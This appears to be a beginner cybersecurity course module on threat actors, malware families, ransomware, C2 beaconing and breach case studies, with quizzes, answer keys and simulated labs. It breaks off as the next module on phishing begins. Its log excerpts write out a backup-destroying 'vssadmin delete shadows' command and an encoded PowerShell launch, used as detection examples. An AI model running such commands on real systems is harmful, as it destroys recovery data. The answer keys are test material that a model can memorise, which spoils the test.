Beginner | 6 lessons | 4 simulated labs | checkpoint | about 4h

This module surveys who attacks, how, and with what. You will compare threat actors by resources and motive, review attack surface and common password and supply chain attacks, then study malware families: viruses, worms, trojans, ransomware, spyware, RATs and botnets with their command and control. Finally you analyze five well-known incidents for root cause and missed controls, turning a list of scary names into patterns you can defend against.

BY THE END YOU CAN

- + Differentiate threat actors by motive, capability and TTPs
- + Identify malware families from behavior and indicators
- + Explain how real incidents unfolded and which control would have stopped them

IN THIS MODULE

Lesson 1 Threat actors and motives

Lesson 2 Attack surface and common attack types

Lesson 3 Viruses, worms and trojans

Lesson 4 Ransomware and extortion

Lesson 5 Spyware, RATs, botnets and C2

Lesson 6 Incident case studies

Lab 1 Classify malware samples (Scenario)

Lab 2 Spot C2 beaconing in packets (Packet viewer)

Lab 3 Read a ransomware process tree (Log viewer)

Lab 4 Build the case study timeline (Diagram builder)

Checkpoint 10 questions, 80% to pass

Threat actors and motives

Knowing who attacks and why tells you what they will target, how persistent they will be and which defenses are proportionate.

Nation-state actors

Nation-state groups, often called advanced persistent threats (APTs), work for governments and have large budgets, custom tools and patience. Their goals are espionage, theft of intellectual property, disruption of critical infrastructure and influence operations. They may spend months inside a network, use zero-day vulnerabilities and abuse trusted software suppliers.

Defending against them means assuming breach: strong logging, segmentation, threat hunting and rapid patching. Most organizations cannot stop a determined state actor, but good hygiene raises their cost and shortens how long they stay.

Criminals and hacktivists

Organized cybercriminals are driven by money. They run ransomware, business email compromise, card fraud and credential theft, often as a business with affiliates, support desks and tooling sold as a service. They favor the easiest victims, so basic controls such as MFA and patching push them toward other targets.

Hacktivists are motivated by ideology or politics. Typical actions are website defacement, distributed denial of service and leaks of embarrassing data to draw attention. Their capability varies widely, and their targeting follows news events, so public-facing organizations should expect spikes around controversial announcements.

Insiders and script kiddies

Insiders are current or former employees, contractors or partners with legitimate access. A malicious insider may steal data before leaving or sabotage systems; an unintentional insider clicks a phishing link or misconfigures storage. Because their access is authorized, controls include least privilege, user activity monitoring, data loss prevention and prompt offboarding.

Script kiddies, or unskilled attackers, run ready-made tools without understanding them. They are low in resources but high in volume, and they are the reason an unpatched, internet-facing server is probed within minutes of appearing online.

Comparing actors

Compare actors on resources, persistence, motivation and typical targets. Nation-states have the highest resources and persistence; criminals have medium to high resources and strong financial focus; hacktivists have variable resources and short campaigns; insiders have low technical needs but high access; script kiddies have the least skill. Threat modeling asks which of these are realistic for your organization.

A regional bakery worries about criminals and script kiddies; a defense contractor must plan for nation-states as well. Shadow IT, unsanctioned tools used outside IT oversight, adds risk from every category because it hides assets from defenders.

ACTOR COMPARISON

Actor	Resources	Motive	Typical action
Nation-state	Very high	Espionage	Long-term access
Criminal	High	Money	Ransomware, BEC
Hacktivist	Variable	Ideology	DDoS, defacement
Insider	Access	Revenge/gain	Data theft
Script kiddie	Low	Notoriety	Public tools

WORKED EXAMPLE

A dental chain with 12 offices sees an unknown login from 203.0.113.5 and a ransom note two days later. Analysis points to a criminal affiliate: financial motive, a commodity toolkit, no interest in intellectual property. An espionage actor would have stayed quiet. Knowing the profile guides the response: assume data was copied, check backups, prepare for extortion contact, and harden remote access with MFA, the most likely entry route for this actor class.

KEY TERMS

APT: Advanced persistent threat: a well-resourced actor that maintains long-term access.

Hactivist: An attacker motivated by political or social causes.

Insider threat: Risk from people with authorized access who misuse it or err.

Threat actor: An individual or group that conducts or intends to conduct harmful activity.

Shadow IT: Technology used without approval or visibility from the IT department.

REMEMBER

- Actors differ in resources, persistence and motive.
- Defenses should be proportionate to realistic actors.
- Insiders already hold legitimate access.

QUICK CHECK

1. Which actor is most likely to pursue long-term espionage?

- A) Nation-state APT
- B) Opportunistic hobbyist
- C) Spam bot
- D) Script kiddie

2. A fired employee deletes files. This is:

- A) Supply chain
- B) Zero-day
- C) Insider threat
- D) Hacktivism

3. What mainly drives organized cybercriminals?

- A) Government orders
- B) Financial gain
- C) Political belief
- D) Curiosity only

4. Which control best addresses insider data theft?

- A) Longer ping timeout
- B) Data loss prevention and monitoring
- C) Larger monitors
- D) Wi-Fi guest network

Answers: 1-A 2-C 3-B 4-B

1. State groups have resources and strategic goals.
2. The person had authorized access and misused it.
3. They run operations for profit.
4. DLP and activity monitoring detect abnormal data movement.

Attack surface and common attack types

Every exposed entry point is a place an attacker can try something, and password-based attacks remain the most common way in.

Attack surface

The attack surface is the sum of all points where an unauthorized party could try to enter or extract data. It includes internet-facing servers and open ports, web applications and APIs, email, remote access such as RDP and VPN, cloud services, employee accounts, third-party connections and physical access. Reducing it means removing what you do not need: close unused ports, disable unused services, retire old systems and limit exposed admin panels.

Maintaining an asset inventory is the first step, because you cannot protect what you do not know exists. Regular external scans from a defender's view show what the internet sees.

Password attacks

Brute force tries many passwords against one account, usually blocked by lockout or rate limiting. Credential stuffing replays username and password pairs leaked from other sites, exploiting reuse; it looks like many accounts each failing or succeeding once from many sources. Password spraying tries one or few common passwords such as Winter2025! across many accounts, staying under lockout thresholds.

Detection looks for patterns: many failures from one source (brute force), many different usernames from one source (spraying), and a high ratio of failures across many accounts from rotating addresses (stuffing). MFA, breached-password screening, rate limiting and CAPTCHA help most.

Supply chain and zero-day

A supply chain attack compromises a trusted vendor, library or update channel so that the malicious code reaches many victims through a trusted path. Examples include tampered software updates and poisoned open-source packages. Defenses include software bills of materials (SBOM), code signing verification, dependency pinning, vendor risk reviews and monitoring for unexpected behavior from trusted software.

A zero-day is a vulnerability unknown to the vendor, so no patch exists. You cannot patch it, but you can limit impact with segmentation, least privilege, exploit mitigations, behavior-based detection and a fast process to deploy patches once released.

Other common attacks

Other frequent techniques include phishing, man-in-the-middle interception, denial of service, SQL injection and cross-site scripting, covered in later modules. Attackers chain them: phishing to obtain credentials, then valid-account login, then privilege escalation.

Vulnerability management ties it together. Track vulnerabilities through CVE identifiers, rate them with CVSS scores from 0.0 to 10.0 and prioritize those that are internet-facing and known to be exploited. The CISA Known Exploited Vulnerabilities catalog is a practical source for deciding what to patch first.

AUTH LOG PATTERN

```
10:01:02 FAIL user=alice src=198.51.100.9
10:01:03 FAIL user=bob src=198.51.100.9
10:01:04 FAIL user=carol src=198.51.100.9
10:01:05 FAIL user=dave src=198.51.100.9
# one source, many users, one password -> spraying
```

WORKED EXAMPLE

A VPN gateway at 192.0.2.1 logs 400 failed logins in an hour. Looking closer, 380 distinct usernames appear, each tried once or twice, all from three addresses in 198.51.100.0/24. That is password spraying, not brute force against one account. The responder blocks the sources, enforces MFA on the VPN, checks the 20 successful logins from those addresses, and forces password resets for accounts that succeeded.

KEY TERMS

Attack surface: All points where an attacker could attempt to gain access or extract data.

Credential stuffing: Automated login attempts using username and password pairs leaked elsewhere.

Password spraying: Trying a few common passwords across many accounts to avoid lockouts.

Supply chain attack: Compromise of a trusted vendor or component to reach downstream victims.

Zero-day: A vulnerability unknown to the vendor and unpatched at the time of attack.

REMEMBER

- Shrink the attack surface by inventory and removal.
- Distinguish brute force, stuffing and spraying by log pattern.
- Supply chain and zero-day risks need containment, not just patching.

QUICK CHECK

1. Many usernames, one password, same source describes:

- A) Password spraying
- B) Brute force on one account
- C) Zero-day
- D) Smurf attack

2. Credential stuffing succeeds mainly because of:

- A) Weak Wi-Fi
- B) Kernel bugs
- C) DNS caching
- D) Password reuse

3. Best first step to reduce attack surface:

- A) Rename the domain
- B) Disable logging
- C) Inventory assets and remove unneeded exposure
- D) Buy more licenses

4. An SBOM helps with:

- A) Blocking DDoS
- B) Encrypting disks
- C) Knowing which components software contains
- D) Resetting passwords

Answers: 1-A 2-D 3-C 4-C

1. Spraying tries one password across many accounts.
2. Users reuse leaked passwords on other sites.
3. You must know and shrink what is exposed.
4. It lists components so affected software can be identified quickly.

Viruses, worms and trojans

The three classic malware types differ in how they spread, and that difference decides how you detect and contain them.

Viruses

A virus attaches itself to a host file or program and needs a user or process to run that host. It replicates by infecting other files, so spread requires human action such as sharing a file or running an infected executable. Types include file infectors, macro viruses in Office documents and boot sector viruses. Polymorphic and metamorphic viruses change their code to evade signature matching.

Classic antivirus detects them through signatures, hashes of known malicious content, and heuristics that flag suspicious structure. Modern endpoint protection adds behavioral monitoring.

Worms

A worm is self-replicating and spreads across networks without user action, usually by exploiting a vulnerability in a network service or by weak credentials. Worms can saturate bandwidth and infect thousands of hosts in hours. The 2003 SQL Slammer worm and the 2017 WannaCry worm component, which used the SMB flaw EternalBlue (MS17-010), are well-known cases.

Indicators include sudden scanning traffic to one port from internal hosts, rapid growth in connections, and many hosts showing the same new process. Containment relies on isolating infected segments, blocking the abused port, and patching the vulnerability.

Trojans

A trojan masquerades as legitimate software, such as a cracked game or a fake invoice viewer, and relies on the user installing it. It does not self-replicate. Once running it may open a backdoor, steal credentials, download further malware (a downloader or dropper) or install ransomware. Remote access trojans and banking trojans are common categories.

Prevention is mostly about user and source control: install software only from trusted repositories, verify signatures, use application allow-listing and block executables from email. Detection watches for new persistence entries and unusual outbound connections.

Detection approaches

Signature-based detection is fast and accurate for known samples but misses new ones. Heuristic and behavioral detection looks at actions: a document spawning a command shell, a process modifying many files, or a binary writing to startup locations. Sandboxing detonates suspicious files in an isolated environment and records behavior.

Sources of evidence include endpoint detection and response (EDR) telemetry, DNS logs, proxy logs and network flow data. Static analysis inspects a file without running it (strings, hashes, headers); dynamic analysis runs it in a lab. Analysts record indicators of compromise such as file hashes, domains and registry keys for sharing.

BEHAVIOR SUMMARY

Type	Needs host file	Needs user action	Spreads by
Virus	yes	yes	infected files
Worm	no	no	network exploits
Trojan	no	yes (install)	deception

WORKED EXAMPLE

Within an hour, 50 workstations show high traffic to TCP port 445 on random internal addresses and a new service named msupdt. Nobody opened anything unusual. That behavior is a worm: it spreads without user action by exploiting a network service. The responder blocks SMB between segments, isolates affected hosts, applies the vendor patch, scans for the service name and hash, and removes persistence before reconnecting machines.

KEY TERMS

Virus: Malware that infects host files and spreads when infected content is run.

Worm: Self-propagating malware that spreads over networks without user action.

Trojan: Malware disguised as legitimate software that does not self-replicate.

Polymorphic malware: Malware that alters its code to evade signature detection.

IOC: Indicator of compromise: an observable artifact such as a hash or domain showing compromise.

REMEMBER

- Virus needs a host, worm spreads alone, trojan deceives.
- Signatures catch known samples; behavior catches new ones.
- Isolation and patching contain worms.

QUICK CHECK

1. Which malware spreads without user action?
 - A) Adware
 - B) Worm
 - C) Trojan
 - D) Macro virus
2. A trojan differs from a virus because it:
 - A) Does not self-replicate
 - B) Always encrypts files
 - C) Only infects boot sectors
 - D) Uses IPv6 only
3. Sudden internal scanning on port 445 suggests:
 - A) Printer error
 - B) DNS update
 - C) NTP sync
 - D) Worm activity
4. Which technique detects previously unseen malware by actions?
 - A) Exact hash match
 - B) Port number lookup
 - C) MAC filtering
 - D) Behavioral analysis

Answers: 1-B 2-A 3-D 4-D

1. Worms self-propagate over networks.
2. Trojans rely on deception rather than replication.
3. SMB worms scan for vulnerable hosts.
4. Behavior catches unknown samples.

Ransomware and extortion

Ransomware is the most disruptive criminal threat to organizations, and its stages show where defenders can interrupt it.

The ransomware chain

Typical stages: initial access (phishing, exposed RDP, stolen VPN credentials or an unpatched edge device), execution and persistence, privilege escalation to administrator, discovery of file shares and backups, lateral movement, data theft, then the final payload that encrypts files. Operators often wait days between access and encryption, and deploy at night or on weekends.

Many families delete volume shadow copies (for example with vssadmin delete shadows) and stop backup and database services before encrypting, so that recovery is harder. Encrypted files may get a new extension and a ransom note appears in each folder.

Double extortion and RaaS

In double extortion the attackers steal data before encrypting, then threaten to publish it on a leak site if the victim does not pay, even when the victim could restore from backup. Some add triple pressure with DDoS or by contacting customers.

Ransomware as a service (RaaS) splits roles: developers maintain the malware and payment portal and take a share, while affiliates break into victims. This is why many different intrusion styles lead to the same malware family. Initial access brokers sell footholds to affiliates.

Defending

Controls map to the chain. Prevent: MFA on remote access, rapid patching of internet-facing systems, email filtering, application allow-listing and removal of exposed RDP. Limit: least privilege, network segmentation and protected admin credentials. Detect: EDR alerts on mass file modification, shadow copy deletion and unusual use of admin tools.

Recover: follow the 3-2-1 rule (three copies, two media types, one offsite), keep at least one copy offline or immutable, and test restores regularly. An incident response plan with prewritten contacts reduces chaos.

Response and the payment question

When ransomware is found, isolate affected hosts from the network but avoid powering them off if memory evidence is needed, preserve logs, identify patient zero and the entry path, and notify legal, insurance and regulators as required. Law enforcement agencies advise against paying: payment funds crime, does not guarantee decryption and may violate sanctions rules.

Rebuild from clean images, reset credentials including service accounts and the Kerberos krbtgt account in domain compromise cases, and close the entry point before reconnecting. Review lessons learned so the same path is not reused.

SYSMON-STYLE PROCESS CHAIN

```
WINWORD.EXE -> powershell.exe -enc JAB...
powershell.exe -> cmd.exe /c vssadmin delete shadows /all /quiet
cmd.exe -> encryptor.exe (8,200 files renamed .locked in 4 min)
```

WORKED EXAMPLE

A manufacturer's file server shows thousands of renamed files. Logs reveal an RDP login from 203.0.113.77 three days earlier using a reused password, a tool run to dump credentials, and a copy of 60 GB to an external host. This is double extortion. The team isolates the server, restores from offline backups, resets all admin credentials, closes RDP behind a VPN with MFA, and prepares breach notifications because data left the network.

KEY TERMS

Ransomware: Malware that denies access to data or systems until a ransom is paid.

Double extortion: Stealing data and encrypting it, threatening publication if unpaid.

RaaS: Ransomware as a service, where developers lease malware to affiliates.

Initial access broker: A criminal who sells network access to others.

3-2-1 backup rule: Keep three copies on two media types with one offsite.

REMEMBER

- Ransomware is a chain, and each step can be interrupted.
- Double extortion makes backups necessary but not sufficient.
- Offline tested backups and MFA are high-value controls.

QUICK CHECK

1. Why do attackers delete shadow copies?

- A) To update Windows
- B) To hide DNS
- C) To prevent easy recovery
- D) To speed up the CPU

2. Double extortion means:

- A) Two encryption keys
- B) Data theft plus encryption
- C) Two ransom notes only
- D) Paying twice

3. Which backup practice best counters ransomware?

- A) Offline or immutable tested copies
- B) Backups on the same share
- C) One copy on the desktop
- D) No testing

4. In RaaS, affiliates typically:

- A) Break into victims and deploy the malware
- B) Write the kernel
- C) Sell antivirus
- D) Operate DNS roots

Answers: 1-C 2-B 3-A 4-A

1. It removes local restore points.
2. Victims face both loss of access and leak threats.
3. Attackers cannot encrypt or delete offline copies.
4. Developers provide the tool, affiliates carry out the intrusions.

Spyware, RATs, botnets and C2

Attackers who stay hidden rely on a channel back to their infrastructure, and that channel is often the easiest thing to spot.

Spyware and keyloggers

Spyware secretly collects information about a user or system. Keyloggers record keystrokes, either in software or via a hardware device inserted between keyboard and computer. Related tools capture screenshots, clipboard contents, browser cookies and saved passwords. Infostealers focus on credentials and session tokens and sell them in criminal markets.

Indicators include unknown processes hooking input, new startup entries, unexpected outbound uploads of small files and password manager alerts. Prevention includes MFA (a stolen password alone is not enough), least privilege, trusted software sources and endpoint protection.

Remote access trojans

A remote access trojan (RAT) gives an attacker interactive control: file browsing, command execution, webcam and microphone access, and further tool installation. It achieves persistence through registry run keys, scheduled tasks, services or startup folders. Legitimate remote administration tools are also abused because they look normal.

Detect by baselining approved remote tools, alerting on new ones, watching for persistence changes (Sysmon event ID 13 for registry values, Windows event 4698 for new scheduled tasks) and reviewing unusual child processes.

Botnets and C2 channels

A botnet is a group of compromised devices controlled through command and control (C2) infrastructure. Bots are used for DDoS, spam, proxying and credential attacks. C2 channels include HTTP and HTTPS to attacker servers, DNS queries and responses, IRC historically, peer-to-peer designs and abuse of cloud services or social media to blend in.

Attackers hide C2 with domain generation algorithms (DGA), which create many pseudo-random domain names, fast-flux DNS that rapidly changes IP addresses, and legitimate platforms. The Mirai botnet in 2016 recruited IoT devices with default passwords.

Beaconing indicators

Compromised hosts periodically check in with the C2 server, called beaconing. Signs are connections at regular intervals (for example every 60 seconds with small random jitter), consistent small request and response sizes, an unusual user-agent, rare destination domains and long or high-entropy DNS names. Analysts review proxy and DNS logs and network flow data to find repeated patterns.

Blocking known bad domains helps, but behavior-based hunting finds new ones. Egress filtering, DNS sinkholes and TLS inspection where policy allows reduce attacker comfort, and isolating the host stops the check-ins while you investigate.

PROXY LOG EXCERPT (FICTIONAL)

```
10:00:00 10.0.0.15 GET hxxp://update-cdn.example.net/a.php 200 312B
10:01:01 10.0.0.15 GET hxxp://update-cdn.example.net/a.php 200 312B
10:02:00 10.0.0.15 GET hxxp://update-cdn.example.net/a.php 200 312B
# ~60s interval, same size -> beaconing
```

WORKED EXAMPLE

A hunter sorts DNS logs by number of queries per host and finds 10.0.0.15 asking for 400 distinct random-looking subdomains of one domain in a day, each answered with a short TXT record. That fits DNS-based C2 or tunneling. The team blocks the domain at the resolver, isolates the host, collects memory and disk artifacts, searches other hosts for the same domain, and rotates credentials used on that machine.

KEY TERMS

C2: Command and control: the channel through which attackers direct compromised systems.

Beaconing: Periodic check-in traffic from malware to its controller.

DGA: Domain generation algorithm that produces many pseudo-random domains for C2.

RAT: Remote access trojan giving an attacker interactive control.

Botnet: A network of compromised devices controlled by an attacker.

REMEMBER

- Spyware steals data quietly, RATs give control, botnets scale it.
- C2 traffic often has regular timing.
- Egress and DNS visibility are key defenses.

QUICK CHECK

1. Connections every 60 seconds with identical size suggest:

- A) Video streaming
- B) Windows update
- C) Printing
- D) Beaconing

2. What do DGAs do?

- A) Patch kernels
- B) Assign IP addresses
- C) Generate many domains for C2
- D) Encrypt disks

3. Mirai mainly recruited:

- A) Smart cards
- B) IoT devices with default passwords
- C) Mainframes
- D) Printers with fax only

4. An effective step against C2 is:

- A) Disabling screensavers
- B) Egress filtering and DNS monitoring
- C) Longer passwords on Wi-Fi
- D) Larger log files

Answers: 1-D 2-C 3-B 4-B

1. Regular intervals and sizes are typical of malware check-ins.
2. They make blocking by domain harder.
3. Default credentials on IoT devices were abused.
4. Controlling outbound traffic disrupts attacker channels.

Incident case studies

Real breaches show that most damage comes from missed basics, which is where your attention should go.

WannaCry and NotPetya

WannaCry (May 2017) was ransomware with a worm component using the EternalBlue exploit against SMBv1, patched by Microsoft in MS17-010 two months earlier. It hit hundreds of thousands of systems, including parts of the UK National Health Service. Root causes: unpatched systems, exposed SMB, and flat networks. A kill switch domain in the code slowed it.

NotPetya (June 2017) spread via a compromised update of Ukrainian accounting software, then used EternalBlue and credential theft tools. It looked like ransomware but destroyed data, with no real decryption possible. Causes: supply chain compromise, flat networks and credential reuse. Segmentation and patching were the missed controls.

SolarWinds

In 2020 attackers inserted a backdoor (SUNBURST) into SolarWinds Orion software updates, which were digitally signed and delivered to thousands of customers. A small number were selected for follow-on activity by a state-linked actor. This is a software supply chain attack.

Missed or helpful controls: build pipeline integrity, vendor risk management, egress filtering (the backdoor needed to reach its C2), network segmentation of management software and monitoring for anomalous behavior from trusted tools. It drove adoption of SBOMs and secure build practices.

Colonial Pipeline and Equifax

Colonial Pipeline (May 2021): the DarkSide ransomware group used a compromised VPN account that reportedly lacked MFA. The company shut down pipeline operations proactively, causing fuel shortages in the US Southeast. Missed controls: MFA, credential hygiene and segmentation between business IT and operational technology.

Equifax (2017): attackers exploited a known flaw in Apache Struts (CVE-2017-5638) on an internet-facing portal. The patch had been available but was not applied, and an expired certificate on a monitoring device left traffic uninspected for months. About 147 million people were affected. Missed controls: patch management, asset inventory, certificate management and network segmentation.

Lessons across cases

Patterns repeat: unpatched known vulnerabilities (WannaCry, Equifax), missing MFA (Colonial), supply chain trust (NotPetya, SolarWinds), flat networks and weak monitoring. A useful method is to build a timeline, find the root cause, then ask at each step which control would have broken the chain and why it was absent.

Notice also the business impact: operations halted, fines and lawsuits, executive resignations and loss of trust. A post-incident review should record what failed, what worked, and specific owner-assigned actions rather than blame.

ROOT-CAUSE SUMMARY

Incident Entry Missed control
 WannaCry SMBv1 exploit Patching, segmentation
 SolarWinds Trojanized update Supply chain checks, egress
 Colonial VPN credential MFA
 Equifax Struts CVE-2017-5638 Patching, asset inventory

WORKED EXAMPLE

Take Equifax as a model. Timeline: vulnerability disclosed in March 2017, patch available, internet-facing portal left unpatched, attackers gain access in May, data pulled for months, discovered in late July after an expired certificate was renewed and traffic became visible. Breaking points: scanning and patching within days, inventory showing the portal existed, working traffic inspection and segmentation between the portal and databases. Each is inexpensive compared with the final damage.

KEY TERMS

EternalBlue: An exploit for the SMBv1 flaw fixed in MS17-010, used by WannaCry and NotPetya.

SUNBURST: The backdoor placed in SolarWinds Orion updates in 2020.

Root cause: The underlying failure that, if fixed, would have prevented the incident.

Wiper: Malware designed to destroy data rather than extort.

Patch management: The process of identifying, testing and deploying software fixes.

REMEMBER

- Most major breaches trace back to basic control failures.
- Build timelines and mark where a control breaks the chain.
- Supply chain, patching and MFA recur as lessons.

QUICK CHECK

1. Which control would most directly have prevented the Colonial Pipeline entry?

- A) MFA on VPN
- B) Faster disks
- C) Bigger firewall logs
- D) Static routes

2. WannaCry exploited:

- A) Heartbleed
- B) Log4Shell
- C) BlueKeep only
- D) SMBv1 via EternalBlue

3. SolarWinds is an example of:

- A) Smishing
- B) Insider fraud
- C) Supply chain attack
- D) Brute force

4. Equifax's breach involved an unpatched flaw in:

- A) Chrome
- B) Kerberos
- C) Apache Struts
- D) OpenSSH

Answers: 1-A 2-D 3-C 4-C

1. The stolen VPN password alone granted access.
2. EternalBlue targeted SMBv1.
3. Malicious code arrived inside a trusted vendor update.
4. CVE-2017-5638 affected Apache Struts.

Classify malware samples

SCENARIO

A sandbox produced six behavior reports for files submitted to the Example Corp analysis queue. Each report lists file changes, network calls and persistence. Using the family traits from the lessons, label each sample as virus, worm, trojan, ransomware, spyware or RAT, and cite the evidence that decided it. Reports contain process names, file paths, registry keys and destination addresses, all fictional. You can open a short glossary panel while labeling.

OBJECTIVE

Label six behavior reports with the correct malware family and the evidence.

STEPS IN THE SIMULATOR

- 1 Do:** Open report 1: modifies other .exe files, adds code, no network

Simulator shows:

Report shows infected file count rising from 1 to 14.

- 2 Do:** Label report 1 as Virus

Simulator shows:

Correct: host file infection with replication.

- 3 Do:** Open report 2: scans TCP 445 across 10.0.0.0/24 and copies itself to hosts

Simulator shows:

Connections to 254 addresses in 30 seconds.

- 4 Do:** Label report 2 as Worm

Simulator shows:

Correct: self-propagation without user action.

- 5 Do:** Open report 3: renames documents to .locked, deletes shadow copies, drops note

Simulator shows:

Note text references payment to a wallet.

- 6 Do:** Label report 3 as Ransomware

Simulator shows:

Correct.

- 7 Do:** Open report 4: registers run key, polls 203.0.113.40 every 60 s, accepts shell commands

Simulator shows:

Beacon plus command execution observed.

- 8 Do:** Label report 4 as RAT; reports 5 and 6 as Trojan and Spyware by the same method

Simulator shows:

All six correct; score 6/6.

ANSWER

Report 1 virus (infects host files), 2 worm (network self-spread over SMB), 3 ransomware (encryption, shadow copy deletion, note), 4 RAT (persistence plus periodic C2 and remote commands), 5 trojan (fake installer dropping a payload), 6 spyware (keystroke capture and uploads).

Hint shown in the app: Ask first how it spreads, then what it does after running.

Spot C2 beaconing in packets

SCENARIO

The SOC captured 10 minutes of traffic from a workstation segment at example.com. Hundreds of normal packets hide a periodic callback. Use filters and the timeline view to identify the infected host, the beacon interval and the domain it contacts, then recommend a containment action. The viewer provides filters, a conversation table and a time-delta graph. Addresses are from documentation ranges and the domain names are not real.

OBJECTIVE

Identify the infected host, beacon interval and C2 domain from a capture.

STEPS IN THE SIMULATOR

- 1 **Do:** Open capture and apply filter dns

Simulator shows:

412 DNS packets listed; summary sorts by query name.

- 2 **Do:** Sort by query name count

Simulator shows:

Top name: sync.update-check.example.net with 10 queries from 10.0.0.15.

- 3 **Do:** Open the conversation view for 10.0.0.15

Simulator shows:

HTTPS flows to 203.0.113.60 every 60 seconds, 300-320 bytes each.

- 4 **Do:** Plot time delta between flows

Simulator shows:

Graph shows peaks at 60 s with jitter under 3 s.

- 5 **Do:** Compare with host 10.0.0.22

Simulator shows:

Browsing traffic is irregular, no repeating destination.

- 6 **Do:** Mark 10.0.0.15 as infected and record domain

Simulator shows:

Entry saved: sync.update-check.example.net, 203.0.113.60.

- 7 **Do:** Choose containment

Simulator shows:

Options listed; correct choice isolate host and block domain at DNS.

ANSWER

Infected host is 10.0.0.15, beaconing about every 60 seconds with small constant payloads to sync.update-check.example.net (203.0.113.60). Contain by isolating the host, blocking the domain and IP at DNS and proxy, and checking other hosts for the same destination.

Hint shown in the app: Look for repetition: same destination, same size, same interval.

Read a ransomware process tree

SCENARIO

A Sysmon log from a file server shows a chain of events beginning with a user opening an email attachment. Analysts need the exact order of events to explain the incident. Trace from the attachment to shadow copy deletion and encryption, noting the process relationships and timestamps for the report. Timestamps are in local time of the server. Columns include Image, ParentImage and CommandLine, and the viewer allows sorting and text search.

OBJECTIVE

Trace the process chain from phishing attachment to encryption and note key indicators.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter Event ID 1 (process creation) for host FS01

Simulator shows:
14 events listed in time order.

- 2 **Do:** Find the first suspicious parent

Simulator shows:
WINWORD.EXE at 09:12:03 spawns powershell.exe with an encoded command.

- 3 **Do:** Follow powershell.exe children

Simulator shows:
It starts rundll32.exe and downloads loader.dll from 198.51.100.30.

- 4 **Do:** Filter Event ID 13 (registry value set)

Simulator shows:
A Run key named Updater points to C:\Users\Public\loader.dll.

- 5 **Do:** Search command lines for vssadmin

Simulator shows:
09:41:50 cmd.exe /c vssadmin delete shadows /all /quiet.

- 6 **Do:** Filter Event ID 11 (file create) after 09:42

Simulator shows:
Over 8,000 files with extension .locked created in four minutes.

- 7 **Do:** Mark persistence, deletion of shadow copies and encryption on the timeline

Simulator shows:
Timeline accepted; summary generated.

ANSWER

Chain: WINWORD.EXE -> powershell.exe (encoded) -> loader.dll from 198.51.100.30 -> Run key persistence -> vssadmin delete shadows -> mass file creation with .locked. Key controls: block Office child processes, script logging, and offline backups.

Hint shown in the app: Follow ParentImage to Image in the process creation events.

Build the case study timeline

SCENARIO

You are preparing a lessons-learned briefing on the Equifax breach for a training class. A tray holds event cards and a blank timeline. Order the events and then place control markers where a safeguard would have stopped or exposed the attack, with a short reason for each marker. Cards describe publicly documented events in simplified form. You can reposition cards freely and the checker only scores the final layout.

OBJECTIVE

Order the Equifax events and place controls that would break the chain.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'Struts flaw CVE-2017-5638 disclosed and patch released' to the start

Simulator shows:
Placed at March 2017.

- 2 **Do:** Drag 'Portal left unpatched' next

Simulator shows:
Placed; sim suggests a control marker slot.

- 3 **Do:** Add marker 'Patch within days' on this event

Simulator shows:
Marker accepted.

- 4 **Do:** Drag 'Attackers gain access' then 'Data queried for months'

Simulator shows:
Placed in order, May to July 2017.

- 5 **Do:** Add marker 'Segmentation and egress monitoring' on the data query event

Simulator shows:
Marker accepted.

- 6 **Do:** Drag 'Expired certificate renewed, traffic visible, breach found' last

Simulator shows:
Placed late July 2017.

- 7 **Do:** Add marker 'Certificate and inspection health checks' there and submit

Simulator shows:
Score 6/6 events and 3 valid markers.

ANSWER

Order: disclosure and patch, unpatched portal, attackers gain access, months of data theft, certificate renewed and detection. Controls: rapid patching, segmentation and egress monitoring, and monitoring tool upkeep including certificates. Any one earlier control shortens exposure.

Hint shown in the app: Each event should have a control that would have changed its outcome.

The Threat Landscape: 10 questions, 80% to pass

1. A group with a government sponsor and long-term goals is called:

- A) Hactivist
- B) APT
- C) Script kiddie
- D) Insider

2. Which attack tries few passwords across many accounts?

- A) Password spraying
- B) Brute force
- C) SQL injection
- D) Smurf

3. A worm differs from a virus because it:

- A) Needs a host file
- B) Cannot cause damage
- C) Only affects phones
- D) Spreads without user action

4. Which indicates ransomware activity?

- A) One failed login
- B) Normal DNS query
- C) Patch install
- D) Shadow copy deletion and mass file renames

5. Double extortion adds which threat?

- A) DNS poisoning
- B) Wi-Fi jamming
- C) Publishing stolen data
- D) Reformatting the disk

6. What does beaconing look like in logs?

- A) Local print jobs
- B) Regular interval connections of similar size
- C) Random large downloads
- D) One-time ping

7. DGAs are used to:

- A) Create many fallback C2 domains
- B) Encrypt backups
- C) Patch routers
- D) Sign code

8. WannaCry spread using:

- A) EternalBlue on SMBv1
- B) Phishing only
- C) USB only
- D) Bluetooth

9. The SolarWinds attack was:

- A) A DDoS
- B) Credential stuffing
- C) A hardware implant
- D) A software supply chain attack

10. Which control would have most helped at Colonial Pipeline?

- A) More DHCP leases
- B) Wi-Fi 6
- C) MFA on remote access
- D) Bigger monitors

Answers: 1-B 2-A 3-D 4-D 5-C 6-B 7-A 8-A 9-D 10-C

1. APT describes advanced persistent threats, typically state-backed.
2. Spraying avoids lockouts by limiting attempts per account.
3. Worms self-propagate over networks.
4. These are classic pre-encryption and encryption signs.
5. Victims are pressured by leak threats.
6. Regularity is the signature of check-ins.
7. Many generated domains make blocking harder.
8. It exploited the SMBv1 vulnerability.
9. A trojanized update reached customers.
10. A stolen VPN password would not be enough with MFA.

Social Engineering and Phishing

Beginner | 5 lessons | 4 simulated labs | checkpoint | about 3h 45m

Most attacks start with a person, not a program. This module explains the psychology behind social engineering, then covers phishing and its targeted forms, smishing, vishing and QR lures, business email compromise and the verification steps that stop it. You will learn to inspect headers, read SPF, DKIM and DMARC results, spot lookalike domains, and apply technical and human defenses so that a convincing message becomes a reported incident instead of a breach.

BY THE END YOU CAN

- + Recognize phishing, smishing and vishing indicators
- + Analyze a suspicious email header and URL
- + Choose technical and human controls against social engineering

IN THIS MODULE

Lesson 1 Social engineering principles

Lesson 2 Phishing, spear phishing and whaling

Lesson 3 Smishing, vishing and QR phishing

Lesson 4 Business email compromise

Lesson 5 Spotting fakes and defending

Lab 1 Triage a phishing inbox (Scenario)

Lab 2 Read email headers (Log viewer)

Lab 3 Dissect a malicious URL (Web proxy)

Lab 4 Handle a vishing call (Chat sim)

Checkpoint 10 questions, 80% to pass

Social engineering principles

Most breaches begin with a person being persuaded, not a machine being broken, so understanding persuasion is a core defensive skill.

What social engineering is

